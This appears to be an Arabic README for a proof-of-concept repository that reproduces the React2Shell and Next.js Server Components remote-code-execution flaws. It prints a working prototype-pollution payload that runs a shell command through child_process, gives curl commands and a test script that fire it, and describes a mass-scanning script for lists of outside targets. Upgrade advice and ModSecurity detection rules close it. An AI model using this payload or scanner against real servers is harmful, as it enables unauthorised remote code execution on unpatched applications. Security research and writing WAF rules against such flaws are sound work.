
الحد الأدنى من النموذج القابل للتطبيق (MVP) لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478). يتضمن حمولة الاستغلال، سكريبت الفحص الجماعي، وقواعد ModSecurity WAF للتخفيف.
هذا هو الحد الأدنى من MVP لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478).
هذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. لا تستخدمه في بيئات الإنتاج أو على أنظمة غير مصرح بها.
CVE-2025-55182 هي ثغرة خطيرة في مكونات خادم React (React Server Components) تؤثر على:
يمكن للمهاجم استغلال ثغرة إلغاء التسلسل (deserialization) في بروتوكول Flight عبر طلب multipart/form-data مُصمم خصيصًا، مما يتيح تنفيذ الأوامر عن بُعد (RCE).
$@N للحصول على كائن Chunk داخليthen ضارة عبر $1:__proto__:thenthen الملوثة عند await في Server Action_formData.get كمنشئ Functionnpm install
# أو
yarn install
# أو
pnpm install
npm run dev
سيبدأ الخادم على http://localhost:3000.
استخدم سكريبت الاختبار المقدم:
# اختبار هدف واحد
./test-exploit.sh http://localhost:3000
# أو استخدم curl مباشرة
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
إذا كانت الثغرة موجودة، سترى في الاستجابة مخرجات مشابهة لـ uid= (نتيجة تنفيذ أمر id).
.
├── app/
│ ├── actions.ts # Server Actions (نقطة تشغيل الثغرة)
│ ├── page.tsx # الصفحة الرئيسية
│ ├── layout.tsx # التخطيط
│ └── globals.css # الأنماط العامة
├── package.json # إعدادات التبعيات (باستخدام الإصدارات المتأثرة)
├── next.config.js # إعدادات Next.js
├── test-exploit.sh # سكريبت اختبار الثغرة لهدف واحد
├── scan-targets.sh # سكريبت المسح الجماعي
├── exploit-payload.txt # ملف حمولة الاستغلال
├── Cve-2025-55182-modsecurity-rules.conf # قواعد ModSecurity للحماية
└── README.md # هذا الملف
يختبر ما إذا كان عنوان URL واحد يحتوي على الثغرة:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
السمة: إذا كان الرد يحتوي على uid= أو gid=، فهذا يدل على وجود الثغرة.
مسح أهداف متعددة:
# إنشاء ملف قائمة الأهداف
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# تنفيذ المسح الجماعي
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
سيتم حفظ نتائج المسح في vulnerable_hosts.csv.
{
"then": "$1:__proto__:then", // اختطاف دالة then
"status": "resolved_model", // التحكم في مسار التنفيذ
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // تشغيل إلغاء تسلسل Blob
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // اختطاف كـ Function
}
}
}
npm install [email protected] [email protected] [email protected]
إذا تعذر الترقية فورًا، يمكن نشر قواعد ModSecurity كتخفيف مؤقت.
# 1. تثبيت mod_security
sudo apt-get install libapache2-mod-security2
# 2. نسخ ملف القواعد
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. تضمين القواعد في إعدادات Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# أضف: Include /etc/modsecurity/modsecurity-rules.conf
# 4. إعادة تشغيل Apache
sudo systemctl restart apache2
# 1. تثبيت ModSecurity لـ Nginx
sudo apt-get install libnginx-mod-security
# 2. نسخ ملف القواعد
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. تفعيله في إعدادات Nginx
sudo vim /etc/nginx/nginx.conf
# في كتلة http أو server أضف:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. إعادة تشغيل Nginx
sudo systemctl restart nginx
ستعترض قواعد ModSecurity الميزات التالية:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ ملاحظة: قواعد WAF هي إجراء تخفيف مؤقت فقط، ولا توفر حماية كاملة. الترقية إلى الإصدارات المُصلحة ضرورية.
إذا كان تطبيقك قد يتأثر:
test-exploit.sh لاختبار تطبيقكNext-Action مشبوهةإذا كنت تريد اختبار curl مباشرة (بدون سكريبت):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
إذا كانت النتيجة تحتوي على uid= أو gid=، فالثغرة موجودة.
هذا المشروع مخصص للأغراض التعليمية فقط. يُرجى الالتزام بالقوانين واللوائح ذات الصلة عند استخدام هذا الكود.